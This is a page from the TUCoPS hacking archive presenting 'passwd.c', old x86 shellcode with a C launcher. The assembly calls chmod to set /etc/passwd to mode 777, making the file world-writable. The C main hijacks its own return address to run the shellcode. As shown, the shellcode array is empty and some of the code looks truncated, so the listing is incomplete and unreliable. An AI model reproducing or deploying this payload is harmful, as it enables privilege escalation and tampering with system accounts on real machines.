Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Password Security :: passwd.c

A bit of code that changes /etc/passwd mode to 777 (x86 specific? uses inline machine code)

/*  [from ]
    changes mode on /etc/passwd to 777 
    making it writeable by anyone.

   jmp rootshell
      popl %edi
      call yo
      call coded_by_bmV
      xorl %ebx,%ebx             
      movb $(phile-yo),%bl 
      addl %edi,%ebx           
      xorb %al,%al 
      movb %al,11(%ebx)
      xorl %ecx,%ecx
      movw $00777,%cx
      xorl %eax,%eax             
      movb $0xf,%al
      int $0x80             
      xorl %eax,%eax
      movb $0x01,%al       
      int $0x80
   .ascii \"/etc/passwd\"

char shellcode[]=

void main()
   int *ret;
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH